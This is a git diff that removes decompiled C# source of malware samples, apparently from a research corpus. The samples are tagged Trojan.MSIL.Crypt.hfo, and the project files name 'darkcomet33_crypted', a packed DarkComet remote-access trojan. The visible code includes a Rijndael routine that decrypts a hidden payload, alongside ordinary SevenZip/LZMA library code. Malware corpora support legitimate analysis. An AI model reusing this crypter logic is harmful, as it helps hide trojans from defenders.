PasswordDeriveBytes(b8NKi53Brw2A9JkCe47EcM, bytes2, p9E6Fei2CGj87Tqy4Z, Zs5f4Y2Acb8SKy7n3P).GetBytes(Wq2a3Y6RzAi57Sno4CFy89Dgm8E9Z / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index d4573578..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {2CC5C63C-3C19-481E-9F2C-3011064EC82D} - WinExe - darkcomet33_crypted - 1.5.1.7 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index 8e1bc7b4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "darkcomet33_crypted", "Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.csproj", "{2CC5C63C-3C19-481E-9F2C-3011064EC82D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2CC5C63C-3C19-481E-9F2C-3011064EC82D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2CC5C63C-3C19-481E-9F2C-3011064EC82D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2CC5C63C-3C19-481E-9F2C-3011064EC82D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2CC5C63C-3C19-481E-9F2C-3011064EC82D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/AssemblyInfo.cs deleted file mode 100644 index 6ad4e20e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("o4XEf38K")] -[assembly: AssemblyTrademark("Sd58Qct9G")] -[assembly: AssemblyCopyright("Xx5r4BJm")] -[assembly: AssemblyProduct("g9WQn3w5")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("Ha69QdGy3")] -[assembly: AssemblyTitle("Zd58AqBg")] -[assembly: AssemblyFileVersion("1.5.0.1")] -[assembly: AssemblyVersion("1.5.0.1")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/InBuffer.cs deleted file mode 100644 index 9e6540f0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/OutBuffer.cs deleted file mode 100644 index 65b7b9c4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CRC.cs deleted file mode 100644 index f5be82bd..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CoderPropID.cs deleted file mode 100644 index da76baa4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/BinTree.cs deleted file mode 100644 index 42d948cf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 799d48d6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index 6c69f8ed..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/InWindow.cs deleted file mode 100644 index 6586d6e0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] 